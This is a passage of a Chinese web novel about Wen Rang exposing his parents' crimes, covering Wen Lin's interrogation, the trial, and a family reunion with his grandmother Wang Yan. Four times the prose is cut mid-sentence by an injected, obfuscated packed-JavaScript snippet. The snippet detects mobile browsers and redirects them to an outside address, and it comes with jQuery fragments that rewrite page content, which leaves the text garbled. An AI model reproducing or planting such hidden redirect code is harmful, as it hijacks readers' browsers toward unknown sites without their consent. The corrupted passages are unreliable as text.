“所以你要搞垮温霖的公司,也根本不考虑我的死活是吗?就算你明明知道他不会放过我,甚至会用我来威胁你,你也完全不在乎?” 温让整理了一下被揉皱的衣领,“我给过你选择的机会。” “我只有依附温家才能存活,你也一样!” “不好意思,温家对我来说,唯一的留念只有爷爷。”温让顿了顿,“曾经也有你。” 温廉依然冷眼看着他,大概是刚才牵动了脸上的伤口,气息有些不稳,“别装得这么假惺惺,你早就有这些计划了,连李家也被你拉拢过去,所以从温善死后,你就没打算放过我们了,是吗?” 温让无奈地叹了口气,“我当时只有十二岁。” “温善在天上应该很欣慰了,他教的好孙子要毁掉温家数代人的基业和心血,就为了所谓的正义。” 温让今天很累,不想和他解释太多,比起这些无谓的指责和纠缠,他更关心高幸回家能不能吃上一口热乎的饭菜。 “如果是温霖让你来找我说这些,那你还是早点儿回去,我要做的事,你阻拦不了。” “阻拦?你连生死都不顾,我能阻拦你什么?” 温廉扯着嘴角,僵硬地笑起来,像没有魂魄的提线木偶。 温让猛地反应过来,“阿幸……” 他忍住腰后传来的痛楚,快步走到门口。 “哥,你急——” 温廉想拉住他,却被男人骤然伸过来的一只手掐住了脖子,“这是你最后一次选择的机会。” · 八点半,舞室最后一节课结束,高幸清算完今天的约课情况,把拍好的视频发到群里,又跟一个想从大班课转到一对一的学生商量了一会儿。 所有事情忙活完,将近九点,她得了空,给温让发了条消息,准备关门。 身后的阴影笼罩过来,高幸锁门的手下意识顿住一瞬。 “高小姐,好久不见,我是温让的母亲,方便请你喝喝茶,聊聊天吗?” 高幸的脑子里已经闪过无数偶像剧的画面,但是“给你一百万离开我儿子”的俗套剧情并未上演。 临近商场关门,百货大楼最角落的茶坊没多少客人光顾。华悦端坐在对面,盯着高幸看了很久才说出第一句话。 “能麻烦高小姐帮我们劝一劝温让吗?他现在只听你的话。” 高幸早就做好了各种心理准备,这会儿面色镇定,“伯母,如果是你们的家事,我想还是你们自行解决比较好。” “时间也不早了,我就不和高小姐兜圈子。”华悦皮笑肉不笑,多年位居高位,自然气势凌人,“我们家也是做生意起家的,高小姐这样小小的一家舞室恐怕经不起大的折腾。” “没关系。”高幸笑得温和无害,没有生出丝毫怯意,“光脚的不怕穿鞋的,越是家大业大,越害怕打击才对。” “看来温让已经告诉你他的打算了。” “伯母,我说过了,你们家的事我不知情,也不想参与。” “你觉得温让嘴上说跟温家断绝关系,温家出事了,他就不会被牵连吗?”华悦死死盯住高幸的双眼,观察她脸上细微的松动,“搞垮温家,对你们没有半点好处。” “您这些话说给我听,无非是想让我害怕、退缩,再去劝温让不要跟你们硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287546|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰硬,对吗?” 让华悦失望的是,高幸完全不动摇,“您是他的母亲,您真的清楚温让是什么样的人吗?如果您了解他,就不会说这些话了,如果您心疼过温让,就不会让他走到今天这个和家里人决裂的地步。” “你在教育我?” “不敢,我只是觉得,与其在我身上浪费时间,您不如思考思考坐上被告席后的辩词。”高幸微微倾身,毫不畏惧地对上女人凌厉的目光,“有些官司,恐怕请最好的律师也没用。” 高幸看了眼时间,起身道,“不好意思伯母,我还得回家吃晚饭,就不送您了。” 刚转过身,就被一个西装革履的男人挡住道路。 男人步步紧逼,高幸被迫后退,华悦的手就这样搭上了她的肩膀,高幸避如蛇蝎,却被两只手同时按住。 “高小姐,话还没说完,急着走什么?”温霖的眼底有股藏匿不了的阴鸷气,“刚才不是还挺能说?怎么现在这么恐慌?” 高幸一闪而过的恐慌源自突然落锁的店门。 温霖回头看了眼,“这世界上绝大多数事情都可以用金钱解决。” “伯父伯母,我不明白你们把我困在这里有何用意?我没有按时回家,温让自然会来找我。” “他脱不了身的。”温霖笑笑,“放心,你现在是温让的心头宝,伤了你,他恐怕更加肆无忌惮。” “高小姐,我们诚心跟你做个交易。”华悦说,“只要你能劝说温让把东西交给我们,你跟温让以后都不用愁,包括你们未来的孩子,金钱地位,应有尽有。” “高小姐的父母一直希望看到你出人头地,只在南城开一家舞室,恐怕不是他们想看到的。”温霖说道,“温让自己能给你的东西太少了,但是我们能给的,不是九位数那么简单。” 高幸突然觉得好笑,于是她真就笑出了声。 华悦跟温霖莫名其妙地看着她。 “我忍你们很久了。”高幸一把撇开按住她的手,“称呼你们一声伯父伯母是出于尊敬,但说实话我不觉得你们这种人有什么值得我尊敬的。” “上不孝顺父母,害死自己的父亲,还把母亲囚禁起来。下不爱护子女,对自己的亲生儿子施暴,折磨他的精神和躯体。成天戴着假面示人,真以为自己是什么了不得的企业家,外表再光鲜亮丽,内在都是一滩恶臭的烂泥。”高幸一口气说完,微微喘息着。 温霖被她这番话气得两眼发晕,随手握住一个茶杯就想砸过去,却被杯子里的茶水烫到,猝不及防松开手。 华悦扯住她的头发,高幸被迫仰起头。 “不好意思,我最讨厌别人教育我。” “是吗。”高幸趁她不注意,拿出兜里的钥匙,猛地扎向女人的眼球,华悦吓得慌忙松手。 “我也最讨厌别人扯我头发。”高幸冷冷说道,然后握住茶杯,“而且,我可不怕烫。” 音落,茶水尽数浇到了温霖脸上,痛得他眼睛都睁不开。 高幸趁乱往外跑,华悦气急败坏地想来抓她。 茶坊的门突然被打开了,光亮透了进来,高幸与那束光抱了个满怀。 熟悉的洗衣液清香,和她身上的一样。 温让的大手罩在她的脑后,拍了拍她的后背,温声哄道,“乖乖,回家吃饭了。” 温霖抹干脸上的水,走过来,“你觉得你们赢定了?” “我们赢不赢无所谓,但你们一定输。” 温让揽着高幸退后,给警察腾出一条路来。 49. 罪状 「罪状」 “爷爷,爸爸今天给我打电话了,但是奶奶不让我接。” 温善观察着棋盘上的格局,这子无论落在哪儿,他都输了。他答应过温让,输一次就得回答温让一个问题或者答应他一个要求。 小温让犹豫再三,还是问出了心里话,“你是不是很不喜欢爸爸?他来这边,你也不见他。” “我记得你六岁的时候也问过我这个问题。”温善记下棋局,画在本子上。 “那会儿爷爷说等我长大了再告诉我。”温让跟他一块儿把棋子收到棋盒里,“现在我都快上初中了,爷爷可以说了吗?” “温家往上数几代,都是商人。”温善说道,“小木头以后长大,想经商吗?” 温让摇摇头,“之前上科学课,老师给我们讲了磁悬浮列车,他说有一种很神奇的材料,电流可以在里面随意流动。” 温善笑了笑,“所以你对这个很感兴趣是吗?” “嗯,老师还给我推荐了一些儿童可以看的科学书,奶奶说下午带我去买。” “那很好啊,有目标是一件好事。”温善说。 “上一年级的时候,林老师让我们写自己的梦想,很多同学都写了自己要成为科学家。” “你当年写了什么?那会儿还瞒着我跟你奶奶呢。” 温让不好意思地笑笑,“其实我交了白纸上去。” “什么都没写?” “对。” “当时我问同桌,为什么他想成为科学家,他说,因为他爸妈都说科学家很伟大。”温让说着说着就慢慢耷拉下脑袋,“但是我的爸妈从来不说这些,他们好像只想挣钱,挣很多很多的钱。我也不知道自己的目标到底是什么,又不想随便写一个敷衍老师。” “你做的没错。”温善摘下老花镜,揉了揉鼻梁,“目标不是别人告诉你的,是需要你自己去寻找的,适合别人的不一定适合你。” 他牵着温让的手起身,“走,我带你去看一个东西。” 卿茗茶馆,内室桌案上摆放着一个方方正正的木盒,木盒上了锁,从外表看没什么稀奇,就像是随便砍了段木头做出来的,手法还有些粗糙。 十五年过去,温让再一次看到了它。 他从怀里掏出温善曾经交给他的那把陈旧的锁,费劲地插进锁眼,轻轻转动,咔嗒一声,木盒开了。 里面规整地放着一个牛皮本子,一个录音笔,一盘光碟,以及一大摞泛黄的文件。 “爷爷,这些是什么?” “温霖的犯罪证据。” “犯罪……” 小温让的身子颤了下,却没有退缩。 “我知道现在给你说这些是很残忍的事,但是小让,你需要尽快知道你的父母是怎样的人。”温善表情严肃起来,“而你一定不可以成为他们那样的人。” 温让只在安全教育课上,接触到“犯罪”这样的字眼。 哪怕温善以前是刑警,他也很少把工作的事情讲给家里人听,所以温让一直觉得自己离真正的“罪犯”很遥远。 “温让,你记住,如果我以后不在了,你到了合适的时机,把这些交给警察。” 温让不想听到温善说自己“不在了”这样的话,但他还是忍着难过,问道,“什么时候?” “爷爷也没法告诉你准确的时间,但我相信,等你长成一个坚韧勇敢富有责任心的大人后,你会知道该怎么做。” 温让的手指抚过起了皱的牛皮本子,好像触碰到了温善那双同样干枯却温暖的手掌,耳边似乎又响起了老人语重心长的嘱托。 “如果你要走上大义灭亲这条路,那就不要有太多的同情心,最好也不要喜欢任何人,听爷爷的话,不要拉其他的人下水。” “爷爷后半句话就不对了。”高幸的手指穿过他的指间,毫不犹豫地牵住他,“你没有拉我下水,我们只是在共同面对人生的难题。” “阿幸,你可以不用来的。” “如果现在遇到困难的是我,你做的只会比我更多。” “爷爷保存这些东西,其实是想自己去起诉的。”温让说,“但我那会儿太小,他还放心不下。” “所以他交给了你,他跟你一样,不想看到罪犯逍遥自在地活着。” “阿幸,走出这个门,我们都没有反悔的余地。” “你害怕了吗?” “我不怕。” “我也不怕。” 浅浅的吻落在女子的发间,“以后我没办法成为公职人员,但是我问过老师,进研究所专心搞学术是没问题的。” “我明白你的顾虑,但是温让,你只要能继续在自己擅长的领域发光就行了,其他都不重要,而且你是直接检举的人,这些年也没用过温家的钱,用的都是你爷爷留给你以及你自己挣的钱,于情于理,你都不该被温霖的过错影响。” 温让关上木盒,双手捧起,“走吧,我们出去。” “好。” · 南城的警察没法跨城办案,温霖的案件很快转交给了江城警察来办。 温霖一看到坐在审问席上的中年男人,忍不住笑出声来,“我还以为是谁来审问我,原来是你啊,大诚。” 张大诚将夹在耳后的烟递过去,“很多年没见你了。” 温霖倒是一点儿不客气,叼着烟扬了扬下巴,示意张大诚点火。 身旁跟着张大诚的年轻警察皱起眉头,说道,“诚哥,我来吧。” “不用。”张大诚凑过去,耐心地点好火,在温霖对面坐下来,“温总看着还是这么尊贵。” “我也是没想到你还真做了警察。”温霖深深喷出一口烟雾,“你等级不低了吧,怎么还抽这么差的烟,改天给你送点儿好的。” “抽烟抽的是烟味儿,不是钱味儿。”张大诚闲适地翘起二郎腿,不像是来审问的,倒像是来叙旧的,监视器一旁的领导看着都有些着急了。 “你现在说话越来越有老家伙的影子了。” “要不是善叔跟王姨资助我一路念完大学,我这没人要的孤儿早就死在路上了,哪儿还有命坐在你面前,你说呢?” “是啊,所以小时候看着你这脏兮兮的家伙就烦,不知道我家那两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291954|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老家伙为什么要发善心,把你带回来照料,你看,现在不就成了白眼狼,对温家倒打一耙了?”温霖的笑意浮在表皮,眼神却冷如蛇蝎,要把面前的人撕咬个彻底。 “我得避嫌,你这次的案件,不归我管。”张大诚完全不在意他的阴阳怪气,“我只是奉命过来劝劝你,该认就认,温让交上来的证据除了那只录音笔用不了,其他的都很齐全。” “什么证据?我可是良民,从来都是遵纪守法的,更何况哪儿有亲儿子告老子的,我们家小让就是不服管,憋着气呢,等他妈妈劝劝他,过几天就好了。” “坦白从宽,到时候还能争取少判几年。” “我都说了,我没罪。” “当年那个猝死的员工家属已经转做污点证人了。” “我不太明白你在说什么。” 张大诚起身,双手撑在桌子上,倾身过去,盯着他的双眼,“杀害温善的就是当年被你陷害进了监狱的人。” 温霖举起双手,一副无辜的模样,“张警官,张sir,冤枉啊,你这些话可不能乱讲。” “冤没冤枉,你去跟法官说。”张大诚的手突然扣住男人的后脖颈,迫使两人对视的距离拉近,“这些年的奢侈生活你也享受过了,下半辈子就好好在监狱里反省吧。” 说完,张大诚骤然松开手,温霖的身子往后撞上椅背。 “你想多了,我没罪,绝对不可能蹲监狱,你们这些人就是仇富,尽找些莫须有的罪名来污蔑我。” 张大诚不理会他,转身就走。 温霖提高了音量,“我没罪!我这辈子挣的钱都拿去做了慈善!我为江城交了多少税?!你们这些警察的工资有多少都是靠我挣的钱发的?你们这样冤枉衣食父母,迟早遭报应!” 审讯室外,华悦领着两个律师质问面前的警察,“凭什么不能保释?你们没有权利一直扣留一个公司的董事长!” 警察试图解释,又被她打断,“我不管你们说什么,今天我一定要把人带出去。” “华小姐还这么不讲道理呢。”张大诚拍拍下属的肩膀,“这边我来解决。” “好的,诚哥。” “张大诚,原来是你啊,温家以前对你不薄吧?狼心狗肺的东西。” 张大诚气极反笑,“我真服了,你俩这狗屁德性能生出温让这样的好孩子真他妈是基因突变。” “张大诚!” “有这闲工夫来警局闹,你不如趁自己还没进局子,回去打理一下公司呢?怎么着,公司离了温霖就要破产啊?我寻思着这些年,你们两口子吃喝玩乐当甩手掌柜也没干什么大事儿吧,你们靠的不就是祖辈基业吗?真把自己当回事儿了?以为自己多有能力呢?地球离了你们转不了?江城没了温霖要垮掉?” 华悦身旁的律师忍不住指责道,“张警官,你现在是在——” “诽谤?污蔑?造谣?那你们告我去呗。”张大诚白了他们一眼,双手往裤兜一插,吊儿郎当地走开了,背过身还不忘念叨了一句。 “一群神经病。” “?” 华悦快疯了。 50. 庭审 「庭审」 江城这样不大不小的地方,有点风吹草动就会传遍全城,更何况温氏集团还是从江城发家的,这么多年过去,也没有把总部搬迁到经济实力最强劲的城市。 江城人民还一直以为,这是温家不忘本的表现。 温氏起初确实给江城提供了很多就业机会,尤其是在温善放弃家业,从事刑警工作后,温家的口碑就没差过。 谁能想到温霖背后会干出违法犯罪的勾当。 但最让大家震惊的是,第一个坐上证人席的正是温家那从小到大都是“别人家的好孩子”的温让。 亲儿子揭开自己父亲的遮羞布,对簿公堂,还铆足了劲要把亲爹送进监狱,这样的“热闹”没人不愿意看。 庭审是可以旁观的,温霖这场庭审刚开放旁观预约,名额就被抢完了,那叫一个火爆。 可惜大家并没有看到亲父子互撕场面。 温让理智又体面,穿衬衣打领带,端端正正坐在证人席。 原告是十几年前那场温氏集团员工猝死案的家属,声泪如雨下,控诉着温霖当初找人顶罪的经过,以及他们多年来上诉无门导致的艰辛,好在老天开眼,在案件追诉期即将过去的时候,又给了他们一缕曙光。 他们家的人收过温霖的钱,本来想转做污点证人,但在温让的劝说下,还是决定以违法用工、妨害作证罪将温霖告上了法庭。 如温让所料,华悦给温霖请的律师不是吃素的,提问手法多变,稍不注意就会掉进他的圈套,不仅如此,对方还擅长打心理战,温让但凡有细微的迟疑,就给了可乘之机。 “小温先生,你方才说证据是你爷爷十五年前留给你的,温老先生恰好也是十五年前去世的,请问是同一年吗?” “是。” “那年你十二岁,亲眼看到温老先生被分尸后的现场,心理出现很大问题,还被华女士带去看了心理医生,是或者不是?” “我当时——” “是,或者,不是?” 温让在对方骤然提高的音量下,沉下心来,“是。” 他当时看病的记录还在,华悦肯定给律师透露过。 “一个十二岁的小孩,看到把自己一手拉扯大的亲爷爷被凶手分尸,这难道不是一辈子的阴影吗?就连温老先生的夫人都受不了刺激患上严重的精神疾病。小温先生,你怎么能确定,你如何确定自己现在是完全健康的?” 温让预料到律师会拿他的心理问题说事,冷静道,“前几天我已经去正规医院做了相应的检测,只不过详细报告今天才出来,法官,我申请提交新证物。” 法官点点头,仔细查看后,说道,“证人的心理状态正常,被告律师还有什么问题?” 律师淡笑道:“我认为小温先生这份报告不作数,你应该去十五年那个诊断你为创伤应激障碍的医生那儿再做一次详细检查,毕竟他才是最了解你当年情况的人。” 温让冷着脸看他,“那位医生跟温霖、华悦是一伙儿的,去他那儿,只会得到虚假的结果。” “看得出来小温先生的确恨自己的亲生父母,连声爸妈都不肯叫。温家给了你丰厚的物质条件,在你出现心理障碍时,请的也是国内数一数二的心理医生,虽然我不知道你怎么跟父母走到如今这个地步,但,人应该有基本的孝道。” “最后一句我很赞同,对我来说,现在最基本的孝道就是把温霖先生交给国家好好教育一番,让他下半辈子能做个好人。” 律师扯了扯唇角,“那你可真是太孝顺了。” “谢谢。” 温霖交握在一起的双手因愤怒而微微颤抖,骨节都被捏得泛了白,他的眼神落在旁听席上。 忽然,旁听席中有人大喊一声,“这大儿子该不会是为了争家产吧!咋这么狠心!” “请保持肃静!”法官严肃吼道。 “小温先生还有个亲弟弟是吗?” “是。” “但你是跟着温老先生长大的,你的弟弟是父母亲自抚养长大的,是吗?” “是。” “所以他获得了比你更多的来自父母的爱,是吗?” “是,但——” “你和弟弟的感情不算非常亲密,是吗?” “不是。” “据我所知——” “你很了解我跟我弟弟吗?你是我们的谁?”温让反问道。 律师微微一笑,“没关系,同样的问题,待会儿我也会问问你弟弟,法官及陪审团各位,请记住该证人的回答。” “最后一个问题,你近两年内是否吃过抗抑郁药物?” “吃过,但是——” 律师立马打断他的话,“我没问题了谢谢。” 关容清担心地拉了拉高幸的袖子,低声问道,“对方就逮着温让的心理问题说事。” “没事,我们都料到了,不会有问题的。”嘴上虽然这样说着,高幸的手却冰凉一片。 休息期间,温让一个人靠在窗边发呆。 高幸走过去,攀上他的肩膀,“累了?今晚炖人参鸡汤,大补一下。” 温让轻轻笑起来,弯下腰,额头抵到她肩窝,“你也该补一下,这些天舞室也挺忙吧,还得陪我连轴转。” “是呀,我可累了,所以等一切结束,你要好好补偿我。”高幸双手环住他的后背,拍了拍,“到时候让莫队帮忙守下店,咱俩出去好好玩一通。” “没问题,想去哪儿?” “去云城吧,那边儿气候暖和。” “行啊。” “小温先生好雅兴,在这儿也能谈情说爱。”律师整理着手表,装作不经意地从两人身后路过,然后停住。 “毕竟我也没什么好担心的。”温让背对着他说道,“倒是覃律你,最近都没时间接孩子放学了吧。” “小温先生挺了解我。” “知己知彼。” “能忍这么多年,我其实挺佩服你的,只不过拿钱办事,我也有我的立场,只能说一句抱歉了。” “我不在乎,没有你也有其他人,反正结果都一样。” “不过小温啊,作为比你大十几岁的长辈,我提醒你一句,骄兵必败。” “这话,我就当你说给温霖听的。” 覃律叹着气,摇了摇头,离开了走廊。 他不知道温让哪来的自信,十几年前的案件,证据是陈旧的,光碟的影像也有所破坏,而且温让还被诊断过精神疾病。 亲弟弟温廉早就跟华悦通了气,答应站在他们这边指证自己哥哥,唯一能帮温让的人,现在还被华悦他们囚禁在精神病院,插翅难飞。 怎么算,温让都不可能赢。 开庭前,以防万一,覃律还找了华悦,反复询问温廉会不会临场变卦,华悦的回复是——绝无可能。 温廉跟温让不同,他是温家的寄生虫,离了温家根本活不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292667|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,他的学历文凭是温霖托人找关系换来的,他的工作收入都掌握在温霖和华悦手中。 这么多年,打也被温霖打怕了,没半点还手之力。 回到庭审现场,覃律一眼注意到身姿板正,容貌端秀的温让,即使隔得很远对视,他也能感受到温让眼里和润又不失凌厉的凛然正气。 相反,此时坐在证人席的温廉就显得怯懦许多,他的容貌已毁,覃律知道,是温霖下的狠手。 温廉不敢正视他的双眼,始终半垂着眼皮。 覃律对他没什么警惕,按照准备好的问题一一提问,温廉的回答也和华悦说的一样,看得出来,温廉被这夫妻俩教得很“好”。 一条乖顺的走狗。 华悦是这样形容温廉的。 “你跟你哥哥温让的感情非常亲密吗?” 覃律根本没怀疑过这个问题会出错,以至于两秒后他听到那声坚定的“是”,下意识以为自己出现幻听了,于是他又重复了一遍问题。 “我的意思是,你跟温让的感情,是亲密还是不算亲密?” “我和我哥哥很好,他是对我最好的亲人,有什么问题吗?”温廉说完,又唯唯诺诺地低下头,“覃先生,你的眼神很吓人。” 覃律回头跟温霖对视了一眼,后者的眼里也是不可思议。 他立马转了提问方向,“但你跟温让并没有一起长大,对吗?” “嗯,对,但他对我很好。” “你们没有感情基础。” “他十二岁就回到温家了,覃律师,你为何一遍遍质疑我们兄弟的感情?” 覃律深吸一口气,“下一个问题。” “啊!!!”温廉突然大叫一声,往桌子下面缩去。 “证人请保持理智。”法官注意到不对劲。 “法官,我方证人疑似出现应激反应,我方请求休庭。” 工作人员前来搀扶温廉,在挣扎过程中,他露出了伤痕累累的手臂和小腹,“爸爸不要打我,求您了,别打我,我错了,下次、下次我一定按照你说的做。” “哥哥、哥哥救我——救我啊哥哥!只有你能救我!” 温廉被带走后,法庭出现了一阵喧闹,似乎在热议方才温廉的不正常举动。 覃律沉着脸收拾东西,抬眼瞬间却对上了温让胜券在握的眼神。 他看清了对方的唇形,“骄兵必败。” 覃律紧紧握住手里的文件袋,咬紧牙关,一声不吭地退了场。 从法院外面长长的楼梯下来,华悦叫住了温让。 “你给了温廉什么好处?” 温让头也不回,懒得看她,“无非给了他做人的尊严。” “温让,你别忘了,王嫣还在医院里。” “我当然记得,不过,她已经出来了。” “你在开什么玩笑?” “下一个证人,就是奶奶。” 华悦仿佛听到了天大的笑话,“精神病还能作证,你他妈当我——” “你真的确定,我奶奶是精神病人吗?” 温让和高幸缓缓转身,同时看向了不远处那个挺直了脊梁,一步一步,坚定走来的老妇人。 “小让,小高,这些天辛苦了,接下来就交给我吧。” 言辞清晰,气力充足,就连那双因为装疯卖傻而变得呆滞混沌的眼睛也恢复了往日的神采。 “孩子们放心,该算的账,一笔也不会少。” 51. 戒指 「戒指」 “小让啊,还记得今天我们要去看的这出话剧叫什么吗?” 小温让乖乖牵住王嫣的手,奶声奶气道,“叫,雷~雨~” “小让可能会看不懂,但是没关系,你要记住话剧的名字,以后就可以重复观看。” 王嫣领着温让到了检票口,她是剧院的常客,检票的人都眼熟她了,看到她就打招呼,“王婶儿好啊,今天还带上小孙子了?” “是啊,这不我家小让放暑假了嘛,就带他一块儿来看看。”王嫣亲切地给他们塞了几袋子枣,“来,当零嘴吃。” “谢谢王婶儿。” “王婶儿每次带的零嘴都很好吃。” “好吃下次又给你们带啊。” “王婶儿放心,剧院上了新剧我们第一个通知你。” “那敢情好。” 一通寒暄后,王嫣熟练地找到自己常坐的区域,或许因为今天是周六,雷雨又是经典剧目,开场前十分钟,场子就快坐满了。 左右都是老熟人,王嫣屁股还没坐热,嘴皮子就快说干了。 周围的爷爷奶奶都很热情,一个劲儿给温让拿吃的,让他趁着话剧开幕前赶紧填填肚子。 七岁的温让看了人生中的第一次话剧,里面复杂的人物关系看得他头大,如果不是王嫣在散场后给他细致讲解,很多情节他都没看明白。 再后来,温让又跟着王嫣看了“日出”、“茶馆”。 那会儿他还不知道这三场话剧会成为他和王嫣之间的一个信号。 记得是最后一场“茶馆”散场后的夜晚,他坐上王嫣的小电驴后座,一对年轻人搀扶着一个老人家路过他们面前,王嫣认出老人,叫了声他的名字,可对方就跟失去记忆了一样,根本不认得王嫣。 是其中一个年轻人跑过来跟王嫣道歉,说自己的爷爷得了阿尔兹海默症,连自己叫什么都不知道了。 温让抓着王嫣的衣角,在后面听得云里雾里。 阿尔兹海默症是什么?人老了就会不记得自己是谁吗?温善和王嫣以后也会这样吗? 温让和很多小孩子一样,对这个世界保持着本真的好奇,但这些问题,他不敢问。 回家路上刮起了风,王嫣说的话总是被风吹散。 “小让——”她耐心地唤着温让的名字,“奶奶说的都听到了吗——” “啊?奶奶您说什么?” “我说——”王嫣稍稍侧过头说道,“奶奶不会忘记你的。” 温让这次听到了,温温柔柔地弯起眼睛,“好的!” 王嫣似是打趣他,接着说了一句,“如果哪天奶奶故意跟你开玩笑,你就问奶奶,什么时候再带你去看一遍雷雨、日出、茶馆。” …… 开庭前一晚,温让洗完澡,坐到床边,上半身挂着些水珠,高幸顺手扯了张纸巾帮他擦干。 “怎么这么急着出来?都没擦干呢。” 温让掰过高幸的肩膀,欣喜地告诉她,“奶奶可以出庭作证了。” 高幸一脸懵,“奶奶?不是被关在医院吗?” 温让把自己跟王嫣当年的“约定”说了一遍,高幸恍然大悟,去医院的那天,温让特意说过,要观察房间里有没有话剧的线索,那会儿高幸没来得及细问原因,只知道和温霖的犯罪线索相关。 “所以你知道那三部话剧后,马上就反应过来,奶奶是装疯了?” “差不多。”温让说道,“抱歉阿幸,没有第一时间告诉你,不是信不过你,只是这件事知道的人越少越好,温霖跟华悦怀疑了奶奶很多年,但最近这两年才稍微放松警惕。” “我明白。”高幸忽然有些难过,“所以奶奶这些年也在盼着这样一个机会。” “是我耽误太久了。” “不是你的错,现在也许就是最好时机。” 温让拉上被子,搂住高幸一块儿缩进被窝,“等我把奶奶接出来,就带她来咱们这儿住一段时间,行吗?” “当然可以。” “小让啊。”王嫣环顾着这间八十平米的小公寓,“你得换个大房子吧,以后难道就让小高跟你住这儿?” 温让跟以前一样,站在王嫣旁边,只是那会儿个头还不及王嫣肩头的小小少年已经长成了清清爽爽的大高个。 “奶奶放心,下周我就带阿幸去看房子。” “是的奶奶,这个您别担心,温让对我很好的。” 王嫣拉着高幸的手坐在沙发上,“跟奶奶说说,你喜欢住在哪个地段?我在南城也还是有点人脉的。” 虽然王嫣已经多年没见过外面的世界,但谈吐举止却不输当年半分,言语中还带着点俏皮的骄傲。 “我和温让之前商量了一下,还是想住在老城区。”高幸说道。 “老城区的房价只要不挨着学区房就还好,只不过装修肯定都不怎么样。” “我俩可以自己重装一遍。”温让沏了一壶王嫣最爱的明前龙井,泡茶的手法还和小时候一样熟练,“今年的春茶还没到时间,奶奶将就喝一下老茶。” “小让泡什么,奶奶就喝什么。”王嫣看向他俩的眼神满是慈爱,“多看几套,对比一下,钱都不是问题。” “奶奶,您就放心吧。”温让有些哭笑不得,“我存款够的。” “你俩要是有生小孩的打算,最好还是考虑下学区房。”王嫣说道,“接送孩子都方便。” “我和阿幸商量过,毕竟生小孩是大事,现在阿幸的事业也刚刚起步,先以她的事业为主。”温让说道,“等一切都稳定下来,在我们身体条件允许的情况下,再考虑生小朋友的事。” 王嫣转头看向高幸。 “奶奶,这是我们共同的想法,而且我明年还打算继续读书。” “读书好,搞事业也很好。”王嫣端起茶杯,等滚烫的雾气慢慢散去,“两个互相尊重,懂得经营生活的人在一起,怎么都是好的。凡事都商量着来,不要憋在肚子里,日子还长着呢,免不了茶米油盐的争吵。” “小高瞧着就是脾气好的姑娘。”王嫣点了点温让的额角,“倒是你这小子,爱做闷葫芦,啥事儿都不爱跟人说。” 说到这里,王嫣突然放下茶杯,来了兴致,“小高我跟你讲,温让六岁的时候身体不太好,我跟他爷爷就去庙里求了尊菩萨挂在他脖子上,结果没几天就不见了,你猜怎么回事儿?” “掉了?” “被班上几个小霸王抢走摔碎了。” “啊?” “这小子被欺负了也不回来说,自己跑去找老师,老师不理,他就去拦校长的车。” “那最后是怎么处理的?” “对方家长赔了钱,也跟我们道了歉。”王嫣想到当年的事,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298265|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气有些怅然,“校长跟我说,温让的脸跟衣服都脏兮兮的,要不是穿着校服,他都认不出来是自己学校的孩子,他不哭也不闹,就这样把一堆碎了的玉捧在手心,一脸不服气地跟校长告状。” 王嫣拍拍温让的大腿,“还记得当时你跟校长怎么说的吗?” 温让不好意思地清清嗓子,别过脸,“那么小的事,我早忘了。” “你忘了,我可不会忘。”王嫣说道,“他说,这尊玉是爷爷奶奶送我的,摔碎这尊玉就是对爷爷奶奶不敬,如果校长不惩罚那几个坏小孩,他就要告到警察局去。” 说完,温让的耳朵更红了。 王嫣一看他这样子,忍不住笑出声来,高幸也跟着勾起嘴角。 “要是小让自己受欺负了,他可能忍忍就算了,但要是他在乎的人受到不敬或者伤害,他是豁出一切也要反击的。”王嫣说道,“所以小高,他认定的人,就会护一辈子。” “奶奶——”温让受不了她这样直白地表达,“这些阿幸都知道的,您不用——” “小让跟他爷爷一样,说不了什么肉麻的话,但没关系,我能说。”王嫣笑呵呵,温让越急,她越乐在其中,“小让为你做的事,我多多少少都听说了,你俩默默喜欢彼此这么多年,最后还能在一起,这就是天赐的缘分,谁都拆不散。” “奶奶,你都从哪儿听说的?”温让问道。 “李家那小子那儿呢。” 